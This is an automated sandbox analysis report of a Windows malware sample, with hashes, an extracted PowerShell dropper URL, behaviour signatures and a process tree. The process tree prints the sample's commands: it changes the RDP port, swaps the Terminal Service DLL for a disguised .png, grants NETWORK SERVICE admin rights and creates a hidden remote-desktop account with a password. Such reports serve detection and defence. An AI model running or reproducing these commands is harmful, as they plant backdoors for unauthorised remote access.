91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2

Analysis

max time kernel
52s
max time network
124s
platform
windows10_x64
resource
win10v20210410
submitted
12-07-2021 09:06

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General

Target

4c1063d9a1324655008a22a6d558b2dc.exe
Size

3.1MB
MD5

4c1063d9a1324655008a22a6d558b2dc
SHA1

ddecd8b6ddf3a60d841663ab58fdcfea02299d09
SHA256

91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2
SHA512

c7cd30fd24347d4a1f86a4bcef2472d2d6286970d5712d158333519a8fe69d87e6ef0df1f688f5372eead87b167f6f1f86b80510dfc35b2b01cc160feffe26cf

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral2/memory/3016-119-0x000000001D8A0000-0x000000001DD45000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
16	2288	powershell.exe
18	2288	powershell.exe
19	2288	powershell.exe
20	2288	powershell.exe
22	2288	powershell.exe
24	2288	powershell.exe
26	2288	powershell.exe
28	2288	powershell.exe
30	2288	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000001ab77-371.dat	upx
behavioral2/files/0x000500000001ab81-372.dat	upx

Deletes itself 1 IoCs

pid	Process
1524	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3576	Process not Found
3576	Process not Found

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3016 set thread context of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jwakrnqu.b1z.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB3C6.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB3E7.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB408.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB3D7.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_vfod5zk0.h0w.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB3A6.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2948	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1524	powershell.exe
1524	powershell.exe
1524	powershell.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
4012	powershell.exe
4012	powershell.exe
4012	powershell.exe
1576	powershell.exe
1576	powershell.exe
1576	powershell.exe
1524	powershell.exe
1524	powershell.exe
1524	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	powershell.exe
Token: SeSecurityPrivilege	3956	powershell.exe
Token: SeTakeOwnershipPrivilege	3956	powershell.exe
Token: SeLoadDriverPrivilege	3956	powershell.exe
Token: SeSystemProfilePrivilege	3956	powershell.exe
Token: SeSystemtimePrivilege	3956	powershell.exe
Token: SeProfSingleProcessPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	3956	powershell.exe
Token: SeCreatePagefilePrivilege	3956	powershell.exe
Token: SeBackupPrivilege	3956	powershell.exe
Token: SeRestorePrivilege	3956	powershell.exe
Token: SeShutdownPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeSystemEnvironmentPrivilege	3956	powershell.exe
Token: SeRemoteShutdownPrivilege	3956	powershell.exe
Token: SeUndockPrivilege	3956	powershell.exe
Token: SeManageVolumePrivilege	3956	powershell.exe
Token: 33	3956	powershell.exe
Token: 34	3956	powershell.exe
Token: 35	3956	powershell.exe
Token: 36	3956	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeIncreaseQuotaPrivilege	4012	powershell.exe
Token: SeSecurityPrivilege	4012	powershell.exe
Token: SeTakeOwnershipPrivilege	4012	powershell.exe
Token: SeLoadDriverPrivilege	4012	powershell.exe
Token: SeSystemProfilePrivilege	4012	powershell.exe
Token: SeSystemtimePrivilege	4012	powershell.exe
Token: SeProfSingleProcessPrivilege	4012	powershell.exe
Token: SeIncBasePriorityPrivilege	4012	powershell.exe
Token: SeCreatePagefilePrivilege	4012	powershell.exe
Token: SeBackupPrivilege	4012	powershell.exe
Token: SeRestorePrivilege	4012	powershell.exe
Token: SeShutdownPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeSystemEnvironmentPrivilege	4012	powershell.exe
Token: SeRemoteShutdownPrivilege	4012	powershell.exe
Token: SeUndockPrivilege	4012	powershell.exe
Token: SeManageVolumePrivilege	4012	powershell.exe
Token: 33	4012	powershell.exe
Token: 34	4012	powershell.exe
Token: 35	4012	powershell.exe
Token: 36	4012	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3016 wrote to memory of 3592	3016	4c1063d9a1324655008a22a6d558b2dc.exe	76
PID 3592 wrote to memory of 1524	3592	vbc.exe	79
PID 3592 wrote to memory of 1524	3592	vbc.exe	79
PID 1524 wrote to memory of 3848	1524	powershell.exe	81
PID 1524 wrote to memory of 3848	1524	powershell.exe	81
PID 3848 wrote to memory of 1316	3848	csc.exe	82
PID 3848 wrote to memory of 1316	3848	csc.exe	82
PID 1524 wrote to memory of 3956	1524	powershell.exe	83
PID 1524 wrote to memory of 3956	1524	powershell.exe	83
PID 1524 wrote to memory of 4012	1524	powershell.exe	87
PID 1524 wrote to memory of 4012	1524	powershell.exe	87
PID 1524 wrote to memory of 1576	1524	powershell.exe	89
PID 1524 wrote to memory of 1576	1524	powershell.exe	89
PID 1524 wrote to memory of 3260	1524	powershell.exe	91
PID 1524 wrote to memory of 3260	1524	powershell.exe	91
PID 1524 wrote to memory of 2948	1524	powershell.exe	92
PID 1524 wrote to memory of 2948	1524	powershell.exe	92
PID 1524 wrote to memory of 2772	1524	powershell.exe	93
PID 1524 wrote to memory of 2772	1524	powershell.exe	93
PID 1524 wrote to memory of 2188	1524	powershell.exe	94
PID 1524 wrote to memory of 2188	1524	powershell.exe	94
PID 2188 wrote to memory of 3908	2188	net.exe	95
PID 2188 wrote to memory of 3908	2188	net.exe	95
PID 1524 wrote to memory of 3976	1524	powershell.exe	96
PID 1524 wrote to memory of 3976	1524	powershell.exe	96
PID 3976 wrote to memory of 4028	3976	cmd.exe	97
PID 3976 wrote to memory of 4028	3976	cmd.exe	97
PID 4028 wrote to memory of 2236	4028	cmd.exe	98
PID 4028 wrote to memory of 2236	4028	cmd.exe	98
PID 2236 wrote to memory of 2736	2236	net.exe	99
PID 2236 wrote to memory of 2736	2236	net.exe	99
PID 1524 wrote to memory of 2500	1524	powershell.exe	100
PID 1524 wrote to memory of 2500	1524	powershell.exe	100
PID 2500 wrote to memory of 2960	2500	cmd.exe	101
PID 2500 wrote to memory of 2960	2500	cmd.exe	101
PID 2960 wrote to memory of 2136	2960	cmd.exe	102
PID 2960 wrote to memory of 2136	2960	cmd.exe	102
PID 2136 wrote to memory of 732	2136	net.exe	103
PID 2136 wrote to memory of 732	2136	net.exe	103
PID 2156 wrote to memory of 1268	2156	cmd.exe	107
PID 2156 wrote to memory of 1268	2156	cmd.exe	107
PID 1268 wrote to memory of 1420	1268	net.exe	108
PID 1268 wrote to memory of 1420	1268	net.exe	108
PID 3164 wrote to memory of 2772	3164	cmd.exe	111
PID 3164 wrote to memory of 2772	3164	cmd.exe	111
PID 2772 wrote to memory of 2372	2772	net.exe	112
PID 2772 wrote to memory of 2372	2772	net.exe	112
PID 3980 wrote to memory of 2268	3980	cmd.exe	115
PID 3980 wrote to memory of 2268	3980	cmd.exe	115
PID 2268 wrote to memory of 1304	2268	net.exe	116
PID 2268 wrote to memory of 1304	2268	net.exe	116
PID 2884 wrote to memory of 3144	2884	cmd.exe	119
PID 2884 wrote to memory of 3144	2884	cmd.exe	119
PID 3144 wrote to memory of 2116	3144	net.exe	120
PID 3144 wrote to memory of 2116	3144	net.exe	120

C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe
"C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1524
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hg4yu5jm\hg4yu5jm.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3848
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES79F8.tmp" "c:\Users\Admin\AppData\Local\Temp\hg4yu5jm\CSC54C1A2EFB3B14727AAE9677B8815165E.TMP"
        5⤵
        
        PID:1316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1576
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:3260
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:2948
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:2772
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2188
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3908
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3976
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4028
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2236
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2736
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2500
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2960
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2136
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:732
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:504
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2092

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1420

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc a3ShhLpC /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc a3ShhLpC /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc a3ShhLpC /add
    3⤵
    PID:2372

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1304

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3144
